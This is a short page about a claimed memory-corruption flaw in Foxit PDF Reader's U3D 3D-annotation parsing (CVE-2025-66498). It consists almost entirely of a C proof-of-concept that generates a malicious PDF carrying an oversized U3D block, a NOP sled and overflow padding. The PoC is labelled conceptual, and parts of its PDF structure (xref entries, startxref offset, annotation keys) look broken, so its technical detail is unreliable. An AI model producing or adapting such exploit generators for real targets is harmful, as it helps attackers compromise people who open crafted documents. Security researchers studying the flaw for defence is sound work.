Foxit PDF Reader 3D注释U3D数据解析内存损坏漏洞 (CVE-2025-66498)

// CVE-2025-66498 PoC - Malformed U3D Data Trigger // This is a conceptual proof of concept for demonstrating the memory corruption // Note: This code is for educational and security research purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // U3D file format magic number #define U3D_MAGIC 0x55334446 // 'U3DF' // Construct malformed U3D data that triggers bounds check failure unsigned char* create_malformed_u3d_data(int* size) { // Allocate buffer for malformed U3D data unsigned char* data = (unsigned char*)malloc(1024); memset(data, 0, 1024); // U3D file header data[0] = 'U'; data[1] = '3'; data[2] = 'D'; data[3] = 'F'; // Chain markers - malformed for triggering vulnerability // Modifier Chain with invalid block size data[4] = 0x00; // Chain flags data[5] = 0x00; // Chain ID data[6] = 0xFF; // Invalid size byte 1 data[7] = 0xFF; // Invalid size byte 2 data[8] = 0xFF; // Invalid size byte 3 data[9] = 0xFF; // Invalid size byte 4 // Fill with NOP sled and shellcode pattern for (int i = 10; i < 100; i++) { data[i] = 0x90; // NOP instruction } // Add padding to trigger buffer overflow memset(data + 100, 0x41, 900); *size = 1024; return data; } // Function to create a minimal malicious PDF with U3D content void create_malicious_pdf(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; // PDF header fprintf(fp, "%%PDF-1.7\n"); // Object 1: Catalog fprintf(fp, "1 0 obj<</Type/Catalog/Pages 2 0 R>>\nendobj\n"); // Object 2: Pages fprintf(fp, "2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>\nendobj\n"); // Object 3: Page with 3D annotation fprintf(fp, "3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]"); fprintf(fp, "/Annots[4 0 R]>>\nendobj\n"); // Object 4: 3D Annotation with U3D stream fprintf(fp, "4 0 obj<</Type/Annot/Rect[0 0 100 100]/Subtype/3D"); fprintf(fp, "/3DA<</OnInstantiate/AE/AE/AOS/AOS/SU/PO>>"); fprintf(fp, "/3DD<</BS<</Type/3DBackground/ON true>>>>"); fprintf(fp, "/Contents 5 0 R>>\nendobj\n"); // Object 5: U3D stream with malformed data fprintf(fp, "5 0 obj<</Length 1024/Subtype/3D/Subtype2/U3D>>\nstream\n"); int size = 0; unsigned char* u3d_data = create_malformed_u3d_data(&size); fwrite(u3d_data, 1, size, fp); fprintf(fp, "\nendstream\nendobj\n"); fprintf(fp, "xref\n0 6\n0000000000 65535 f\n"); fprintf(fp, "trailer<</Size 6/Root 1 0 R>>\nstartxref\n0\n%%%%EOF\n"); free(u3d_data); fclose(fp); } int main() { printf("Generating CVE-2025-66498 PoC PDF...\n"); create_malicious_pdf("CVE-2025-66498-poc.pdf"); printf("PoC PDF created: CVE-2025-66498-poc.pdf\n"); printf("WARNING: This file is for research purposes only!\n"); return 0; }